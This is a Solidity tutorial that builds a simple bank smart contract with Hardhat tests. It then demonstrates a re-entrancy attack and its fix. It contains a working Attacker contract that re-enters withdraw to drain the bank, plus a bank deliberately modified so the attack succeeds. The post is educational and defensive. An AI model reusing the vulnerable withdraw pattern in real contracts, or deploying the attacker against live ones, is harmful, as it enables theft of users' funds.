Solidity: Understand Re-entrancy attack by building a Bank Smart Contract

thumbnail

Hello friends, In this post, we will be building a smart contract for a bank using solidity and heist it to understand the reentrancy attack. This will help you in learning about solidity concepts like functions, modifiers, enums, constructor, receive functions, visibility modifiers, etc. Today we will build a bank smart contract with basic features like deposit, withdraw, account opening, account closing, transfer, etc, later we will use this contract as a base for adding more features to understand more concepts related to solidity, blockchain, and decentralized application(Dapp). Let’s build a smart contract for the bank.

You can write the smart contracts in remix IDE or code in a VSCode through a local hardhat project.

Remix - Ethereum IDE

Create a new folder Bank Dapp and inside it create folder smart contracts

Initialize a hardhat javascript project

npx hardhat

Other commands to know

npx hardhat compile — to compile the solidity file
npx hardhat test — to run the test scripts
npx hardhat deploy — to run the deploy scripts

Now in the contracts folder create a new File Bank.sol

The first line will be always the License identifier and the second will be solidity which we will be using to compile.

./smart-contracts/contracts/Bank.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

Let’s define a contract Bank if you are already familiar with other programming languages consider this as a declaration for class

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract Bank{
  
}

Now let's look at our requirements for our Bank contract

  1. The customer can request for opening a new account and the contract owner can only approve this request after the customer can perform operations. So we require to store the status of the customer, for the status value we will use an enum and use mapping to map the account to the status
  2. Whenever transactions are performed balance of the customer would be updated so we again need to map the account to the balance.

Variable Declarations — For status we will use enums which is basically an user defined data type that allows only specific set of values to be assigned to it. We will have owner with data type address which can store your wallet addresses. For maintaining balance and account status we will using mapping.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Bank {

    /**
     * Variable Declaration
     */
    enum Status {
        NOT_REQUESTED,
        REQUESTED,
        ACTIVE,
        PAUSED,
        CLOSED
    }

    mapping(address => Status) accountStatus;
    mapping(address => uint) balances;

    address owner;
}

Next, we need some transactions to be performed only when some conditions are satisfied, instead of defining these conditions on each function we will use a modifier so that we can reuse it. We need three modifiers onlyOwner, isAccountActive, and isAccountPaused, inside each modifier, we will have require function to specify conditions to satisfy in order to continue further or throw an error if the condition fails.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Bank {

    /**
     * Variable Declaration
     */
    enum Status {
        NOT_REQUESTED,
        REQUESTED,
        ACTIVE,
        PAUSED,
        CLOSED
    }

    mapping(address => Status) accountStatus;
    mapping(address => uint) balances;

    address owner;
    
    /**
     * Modifiers
     */

    modifier onlyOwner() {
        require(msg.sender == owner, "You are not owner");
        _;
    }

    modifier isAccountActive() {
        require(
            accountStatus[msg.sender] == Status.ACTIVE,
            "Account not active"
        );
        _;
    }

    modifier isAccountPaused() {
        require(
            accountStatus[msg.sender] == Status.PAUSED,
            "Account not paused"
        );
        _;
    }

underscore (_) inside the modifier refers to the function body which needs to execute after the function body if _ is placed before require then the function body is executed first. msg.sender refers to the account address that is performing the transaction.

Next we have a constructor to initialize our owner variable to msg.sender here msg.sender will be the one who deploys the contract. After that we have various functions openAccount where we update account status from not requested to Requested only if an account is in NOT_REQUESTED or CLOSED status, else we will revert with an error account already opened. Next account needs to be approved by the owner in order to perform transactions and the owner can approve only if the account status is in REQUESTED status so again we will use require function if the condition satisfies update the account status to ACTIVE, this function needs to be executed only by the owner so we will use the modifier which we have created onlyOwner. We can also temporarily pause/unpause our account to perform any transaction. For pausing the account we need to check whether an account is active before changing to PAUSED and to unpause we need to check whether the account is currently paused before changing to ACTIVE.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Bank {

    /**
     * Variable Declaration
     */
    enum Status {
        NOT_REQUESTED,
        REQUESTED,
        ACTIVE,
        PAUSED,
        CLOSED
    }

    mapping(address => Status) accountStatus;
    mapping(address => uint) balances;

    address owner;
    
    /**
     * Modifiers
     */

    modifier onlyOwner() {
        require(msg.sender == owner, "You are not owner");
        _;
    }

    modifier isAccountActive() {
        require(
            accountStatus[msg.sender] == Status.ACTIVE,
            "Account not active"
        );
        _;
    }

    modifier isAccountPaused() {
        require(
            accountStatus[msg.sender] == Status.PAUSED,
            "Account not paused"
        );
        _;
    }

    constructor() {
        owner = msg.sender;
    }


    /**
     * Functions
     */
    function openAccount() public {
        if (
            accountStatus[msg.sender] != Status.NOT_REQUESTED &&
            accountStatus[msg.sender] != Status.CLOSED
        ) {
            revert("openAccount(): You already opened a account");
        }
        accountStatus[msg.sender] = Status.REQUESTED;
    }

    function approveAccount(address account) public onlyOwner {
        require(
            accountStatus[account] == Status.REQUESTED,
            "approveAccount(): Account request does not exists"
        );
        accountStatus[account] = Status.ACTIVE;
    }

    function pauseAccount() public isAccountActive {
        accountStatus[msg.sender] = Status.PAUSED;
    }

    function unPauseAccount() public isAccountPaused {
        accountStatus[msg.sender] = Status.ACTIVE;
    }
}

User can close their account so before closing, we have two conditions to check one is account should be active and we already have a modifier to check and another one is the balance of the user should be zero, if the balance is zero then the account status will be updated to CLOSED. Next, we have transaction-related functions such as deposit which is a payable function (to send ether to a contract, the function should be marked as payable) and we should also check whether the account is active and the deposit amount should be greater than 0 using msg.value (contains a number of ethers sent in gwei) once condition satisfies we will update the balance of msg.sender. Now for withdraw function with the amount to withdraw as an argument, the conditions will be to check whether the account status is active and the user has sufficient balance to withdraw where we need to transfer ether from the contract to the user account. We need to use below

payable(msg.sender).call{value: amount}(“”);

payable(msg.sender) — payable makes us able to use the call function to transfer ether, it will return the boolean status of the call we can check the status condition if it is true and decrement the balance else throw the error. To transfer the amount from our account to another address so we have two arguments to address and amount, again we have the same condition as withdraw after we can again use the above code to transfer the amount from the contract to the address specified further we will update the balance of the users.

Finally, we have the getters for account status, account balance, and owner.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Bank {
    /**
     * Variable Declaration
     */
    enum Status {
        NOT_REQUESTED,
        REQUESTED,
        ACTIVE,
        PAUSED,
        CLOSED
    }

    mapping(address => Status) accountStatus;
    mapping(address => uint) balances;

    address owner;

    /**
     * Modifiers
     */

    modifier onlyOwner() {
        require(msg.sender == owner, "You are not owner");
        _;
    }

    modifier isAccountActive() {
        require(
            accountStatus[msg.sender] == Status.ACTIVE,
            "Account not active"
        );
        _;
    }

    modifier isAccountPaused() {
        require(
            accountStatus[msg.sender] == Status.PAUSED,
            "Account not paused"
        );
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    /**
     * Functions
     */
    function openAccount() public {
        if (
            accountStatus[msg.sender] != Status.NOT_REQUESTED &&
            accountStatus[msg.sender] != Status.CLOSED
        ) {
            revert("openAccount(): You already opened a account");
        }
        accountStatus[msg.sender] = Status.REQUESTED;
    }

    function approveAccount(address account) public onlyOwner {
        require(
            accountStatus[account] == Status.REQUESTED,
            "approveAccount(): Account request does not exists"
        );
        accountStatus[account] = Status.ACTIVE;
    }

    function pauseAccount() public isAccountActive {
        accountStatus[msg.sender] = Status.PAUSED;
    }

    function unPauseAccount() public isAccountPaused {
        accountStatus[msg.sender] = Status.ACTIVE;
    }

    function closeAccount() public isAccountActive {
        require(
            balances[msg.sender] == 0,
            "closeAccount(): Withdraw all your balance to close"
        );
        accountStatus[msg.sender] = Status.CLOSED;
    }

    function deposit() public payable isAccountActive {
        require(
            msg.value > 0,
            "deposit(): Deposit Amount should be greater than zero"
        );
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public isAccountActive {
        require(
            balances[msg.sender] >= amount,
            "withdraw(): Not enough balance"
        );
        (bool status, ) = payable(msg.sender).call{value: amount}("");
        require(status, "withdraw(): Transfer failed");
        balances[msg.sender] -= amount;
    }

    function transferAmount(address to, uint256 amount) public isAccountActive {
        require(
            balances[msg.sender] >= amount,
            "transfer(): Not enough balance"
        );
        (bool status, ) = payable(to).call{value: amount}("");
        require(status, "transferAmount(): Transfer failed");
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }

    function getAccountStatus() public view returns (Status) {
        return accountStatus[msg.sender];
    }

    function accountBalance() public view returns (uint) {
        require(
            accountStatus[msg.sender] == Status.ACTIVE,
            "accountBalance(): Account not active"
        );
        return balances[msg.sender];
    }

    function getOwner() public view returns (address) {
        return owner;
    }
}

Let’s test the contract in our remix IDE, copy and paste the contract into remix ide and you can compile and run over there to check the functioning.

Remix - Ethereum IDE

Now perform some unit testing, first let’s deploy the smart contract, for that let’s install hardhat-deploy

npm install -D hardhat-deploy
npm install — save-dev @nomiclabs/hardhat-ethers@npm:hardhat-deploy-ethers ethers

./smart-contracts/hardhat-config.js

require("@nomicfoundation/hardhat-toolbox");
require("hardhat-deploy");
/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
  solidity: "0.8.17",
  namedAccounts: {
    deployer: {
      default: 0,
    },
  },
};

create a new folder deploy and under that new file bank-deploy.js
./smart-contracts/deploy/01-bank-deploy.js

module.exports = async ({ getNamedAccounts, deployments }) => {
  const { deploy, log } = deployments;
  const { deployer } = await getNamedAccounts();

  await deploy("Bank", {
    from: deployer,
    args: [],
    log: true,
    waitConfirmations: 1,
  });

Let's write some tests for our Bank contract for that hardhat comes with package chai.

describe— to define/group the tests.
beforeEach— called before each test is executed typically we use it for deploying contract
it— where we define the test cases and check whether it passes or not.
assert— to validate the conditions as expected and the actual result.
expect— commonly used when we want to check whether calling a function will return an error or not

Some functions to know here are

deployments.fixture() — this statement will call our deploy script and deploy the contract.
ethers.getSigners() — will return the hardhat accounts connected to the network.
ethers.getContract(“contractname”) — this will help in getting the instance of contract using which can interact with the contract.

./smart-contracts/test/01-bank.test.js

const { expect, assert } = require("chai");
const { ethers, deployments } = require("hardhat");
describe("Bank", () => {
      let accounts, bank;
      beforeEach(async () => {
        accounts = await ethers.getSigners();
        await deployments.fixture();
        bank = await ethers.getContract("Bank");
        let tx = await bank.openAccount();
        await tx.wait();

        let tx1 = await bank.approveAccount(accounts[0].address);
        await tx1.wait();
      });

      describe("Starting Test", () => {
        it("Check owner, account status will be not requested", async () => {
          let owner = await bank.getOwner();
          assert.equal(accounts[0].address, owner);
          assert.equal(await bank.getAccountStatus(), 2);
        });
        it("Open new account and owner approve, cannot request new account if already open, cannot approve non existing account", async () => {
          assert.equal(await bank.getAccountStatus(), 2);

          await expect(
            bank.openAccount(),
            "openAccount(): You already opened a account"
          );

          await expect(
            bank.approveAccount(accounts[2].address),
            "approveAccount(): Account request does not exists"
          );
        });

        it("Cannot deposit if account not active, deposit amount should be greater than zero, can deposit and check balance, withdraw amount from account, cannot withdraw more than balance or account not active", async () => {
          let bank1 = await bank.connect(accounts[1]);
          await expect(
            bank1.deposit({ value: ethers.utils.parseEther("1") })
          ).to.be.revertedWith("Account not active");

          await expect(
            bank.deposit({ value: ethers.utils.parseEther("0") })
          ).to.be.revertedWith(
            "deposit(): Deposit Amount should be greater than zero"
          );
          let tx = await bank.deposit({ value: ethers.utils.parseEther("1") });
          await tx.wait();

          assert(
            (await bank.accountBalance()).toString() ==
              ethers.utils.parseEther("1").toString()
          );

          let tx1 = await bank.withdraw(ethers.utils.parseEther("0.5"));
          await tx1.wait();
          assert(
            (await bank.accountBalance()).toString() ==
              ethers.utils.parseEther("0.5").toString()
          );

          await expect(
            bank.withdraw(ethers.utils.parseEther("1"))
          ).to.be.revertedWith("withdraw(): Not enough balance");
          await expect(
            bank1.withdraw(ethers.utils.parseEther("1"))
          ).to.be.revertedWith("Account not active");
        });

        it("Cannot transfer amount if dont have enough balance,", async () => {
          let bank1 = await bank.connect(accounts[1]);
          let tx_1 = await bank.deposit({
            value: ethers.utils.parseEther("1"),
          });
          await tx_1.wait();
          await expect(
            bank1.transferAmount(
              accounts[1].address,
              ethers.utils.parseEther("0.5")
            )
          ).to.be.revertedWith("Account not active");

          let tx = await bank.transferAmount(
            accounts[1].address,
            ethers.utils.parseEther("0.5")
          );
          await tx.wait();

          let tx1 = await bank1.openAccount();
          await tx1.wait();
          await expect(
            bank1.approveAccount(accounts[1].address)
          ).to.be.revertedWith("You are not owner");
          let tx2 = await bank.approveAccount(accounts[1].address);
          await tx2.wait();

          assert.equal(
            (await bank1.accountBalance()).toString(),
            ethers.utils.parseEther("0.5").toString()
          );
        });
        it("Pause/unpause account, cannot pause if not active, cannot unpause if not paused, close account, cannot close if account not active", async () => {
          let tx = await bank.pauseAccount();
          await tx.wait();
          assert.equal(await bank.getAccountStatus(), 3);
          await expect(bank.pauseAccount()).to.be.revertedWith(
            "Account not active"
          );

          let tx1 = await bank.unPauseAccount();
          await tx1.wait();
          assert.equal(await bank.getAccountStatus(), 2);
          await expect(bank.unPauseAccount()).to.be.revertedWith(
            "Account not paused"
          );
          let tx4 = await bank.deposit({ value: ethers.utils.parseEther("1") });
          await tx4.wait();
          await expect(bank.closeAccount()).to.be.revertedWith(
            "closeAccount(): Withdraw all your balance to close"
          );
          let tx5 = await bank.withdraw(ethers.utils.parseEther("1"));
          await tx5.wait();

          let tx2 = await bank.closeAccount();
          await tx2.wait();

          assert.equal(await bank.getAccountStatus(), 4);
          await expect(bank.closeAccount()).to.be.revertedWith(
            "Account not active"
          );
        });
      });
    });

Let’s write a contract to attack the Bank contract, for this contract we need an instance of our bank contract which we will initialize inside the constructor. We need functions to check the attacker contract balance, a function to call a openAccount where we will just call openAccount function of the bank contract using the instance of the bank contract. In the attack function, we will first call the deposit function to deposit 1 ether and withdraw it again. Finally, we have a special function known as receive which will be called whenever receive an ether, this would be our main function which we will use to withdraw all ethers from the Bank contract.

// SPDX-License-Identifier:MIT
pragma solidity ^0.8.17;

import "./Bank.sol";

contract Attacker {
    Bank public b;

    constructor(address bankAddress) {
        b = Bank(bankAddress);
    }

    receive() external payable {
        if (address(b).balance >= 1 ether) {
            b.withdraw(1 ether);
        }
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function openAccount() public {
        b.openAccount();
    }

    function attack() public payable {
        b.deposit{value: msg.value}();
        b.withdraw(msg.value);
    }
}

If you remember in our Bank contract inside the withdraw function we have a condition to check the balance of the sender is greater than the requested amount before sending the ether and after that only we are decrementing the amount, this is the vulnerable part of the code which we will use to attack. You can again test by putting the same code in remix ide or doing unit testing locally.

Let’s deploy it first
./smart-contracts/deploy/02-attack-deploy.js

const { ethers } = require("hardhat");

module.exports = async ({ getNamedAccounts, deployments }) => {
  const { deploy, log } = deployments;
  const { deployer } = await getNamedAccounts();
  const bank = await ethers.getContract("Bank");
  await deploy("Attacker", {
    from: deployer,
    args: [bank.address],
    log: true,
    waitConfirmations: 1,
  });
};

./smart-contracts/test/02-attack.test.js

const { expect, assert } = require("chai");
const { ethers, deployments } = require("hardhat");

describe("Attacker", () => {
  let accounts, bank, attacker;
  beforeEach(async () => {
    accounts = await ethers.getSigners();
    await deployments.fixture();
    bank = await ethers.getContract("Bank");
    attacker = await ethers.getContract("Attacker");
    let tx = await bank.openAccount();
    await tx.wait();
    let tx1 = await attacker.openAccount();
    await tx1.wait();
    let tx2 = await bank.approveAccount(accounts[0].address);
    await tx2.wait();
    let tx3 = await bank.approveAccount(attacker.address);
    await tx3.wait();
  });

  describe("Starting Test", () => {
    it("Drain all the ethers from bank contract", async () => {
      let tx1 = await bank.deposit({ value: ethers.utils.parseEther("10") });
      await tx1.wait();
      let tx2 = await attacker.attack({
        value: ethers.utils.parseEther("1"),
      });
      await tx2.wait();
      let bal = await attacker.getBalance();
      assert.equal(bal.toString(), ethers.utils.parseEther("11").toString());
    });
  });
});

You can test by opening a new account and once the owner approves you can run the attack function. You will notice calling the attack function will throw an error with “transfer failed” but this error is not due to ETH transfer instead it is due to the balance decrement operation. Why? First let’s understand the flow of execution when we run attack function assume our bank contract has a balance 5 ETH, suppose attack function is called with 1 ETH, then 1 ETH is first deposited to bank contract and balance of attacker contract will be updated to 1 ETH, next withdraw function with 1 ETH is called which we check whether balance is greater than or equal to amount request, satisfied then transfer the ether, now the flow will return to the receive function of the Attacker contract and we are again calling the withdraw function by checking whether the bank contract has balance more than 1 ETH, in this way the loop will continue until all the ethers are drained from Bank contract finally in the withdraw function balance of sender will be decrement as many times as the withdraw function was called since uint stores only positive numbers so after the first withdraw call balance would have become zero and in subsequent run, it will again decrement to a negative which caused error known as Arithmetic underflow.

Solidity by Example

So for our attack testing, we will modify our Bank contract a little bit so before decrementing we will add an if condition to check whether the balance of the sender is greater than zero in the withdraw function.

...
function withdraw(uint256 amount) external isAccountActive {
        require(
            balances[msg.sender] >= amount,
            "withdraw(): Not enough balance"
        );

        (bool status, ) = payable(msg.sender).call{value: amount}("");
        require(status, "withdraw(): Transfer failed");
        if (balances[msg.sender] > 0) {
            balances[msg.sender] -= amount;
        }
    }
...

If you try to test now it will pass. So this attack is known as a Re-entrance attack where we are continuously calling the withdraw function until all contract funds are drained.

Now to prevent from attack, the simplest solution is to make all the state changes before calling any external functions.

...
function withdraw(uint256 amount) external isAccountActive {
        console.log(
            balances[msg.sender],
            amount,
            balances[msg.sender] >= amount
        );
        require(
            balances[msg.sender] >= amount,
            "withdraw(): Not enough balance"
        );
        balances[msg.sender] -= amount;
        console.log(balances[msg.sender]);
        (bool status, ) = payable(msg.sender).call{value: amount}("");
        require(status, "withdraw(): Transfer failed");
    }
...

We have other options such as locking function until fully executed as suggested by solidity docs

Solidity Re-entrancy attack by Example

Now we have built a contract we can develop a frontend for interacting with the contract for this you can follow the previous post where we built a frontend for ERC20 TOKEN and faucets Dapp.

How to build ERC 20 Token and Faucets Dapp

If you want a separate post for developing a front-end, let me know in the comments. We will be back again with the new feature to our Bank smart contract.

Thanks for reading this post, if you found this post helpful please share maximum. Will be back with amazing content on Web3. Stay tuned.

Find the code on my website

CWM Bank Dapp | Gihub

If you are facing any issues please contact us from our contact section.

Contact Us | CodeWithMarish

Also please don’t forget to subscribe to our youtube channel codewithmarish for all web development-related challenges.

Code With Marish | Youtube